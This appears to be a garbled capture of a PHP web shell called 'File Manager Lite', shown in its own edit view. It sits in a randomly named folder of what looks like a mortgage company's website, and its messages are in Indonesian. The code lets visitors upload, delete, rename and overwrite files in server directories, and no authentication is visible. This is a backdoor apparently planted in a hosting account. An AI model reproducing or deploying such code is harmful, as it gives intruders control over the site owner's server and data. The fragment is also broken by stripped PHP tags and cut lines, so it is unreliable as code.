/home/techb158/public_html/solutionshypotheque.com/947766
Edit: /home/techb158/public_html/solutionshypotheque.com/947766/index.php (6093B)
=1024 && $i
'File terlalu besar (php.ini)',
UPLOAD_ERR_FORM_SIZE => 'File terlalu besar (form)',
UPLOAD_ERR_PARTIAL => 'Upload terputus',
UPLOAD_ERR_NO_FILE => 'Tidak ada file',
UPLOAD_ERR_NO_TMP_DIR => 'TMP directory tidak ada',
UPLOAD_ERR_CANT_WRITE => 'Gagal menulis ke disk',
UPLOAD_ERR_EXTENSION => 'Diblok extension PHP'
];
$message = 'Upload error: ' . ($errs[$f['error']] ?? 'Unknown');
} elseif (!is_file($f['tmp_name'])) {
$message = 'TMP file tidak ditemukan: ' . htmlspecialchars($f['tmp_name']);
} elseif (@move_uploaded_file($f['tmp_name'], $target)) {
$message = 'Upload SUCCESS (move_uploaded_file)';
} elseif (@copy($f['tmp_name'], $target)) {
$message = 'Upload SUCCESS (fallback copy)';
} else {
$message = 'Upload gagal total';
}
}
/* === DELETE === */
elseif ($action === 'delete' && isset($_GET['item'])) {
$path = $currentDir . '/' . basename($_GET['item']);
if (is_file($path)) unlink($path);
elseif (is_dir($path)) @rmdir($path);
$message = 'Dihapus: ' . htmlspecialchars($_GET['item']);
}
/* === RENAME === */
elseif ($action === 'rename' && isset($_POST['oldname'], $_POST['newname'])) {
rename(
$currentDir.'/'.basename($_POST['oldname']),
$currentDir.'/'.basename($_POST['newname'])
);
$message = 'Rename berhasil';
}
/* === EDIT === */
elseif ($action === 'edit' && isset($_POST['filename'], $_POST['content'])) {
file_put_contents(
$currentDir.'/'.basename($_POST['filename']),
$_POST['content']
);
$message = 'File disimpan';
}
/* === LIST FILE === */
$items = scandir($currentDir);
sort($items);
?>
File Manager Lite
File Manager Lite
Dir: =htmlspecialchars($currentDir)?>
=htmlspecialchars($message)?>
[..] ';
}
foreach ($items as $item) {
if ($item==='.'||$item==='..') continue;
$path = $currentDir.'/'.$item;
echo '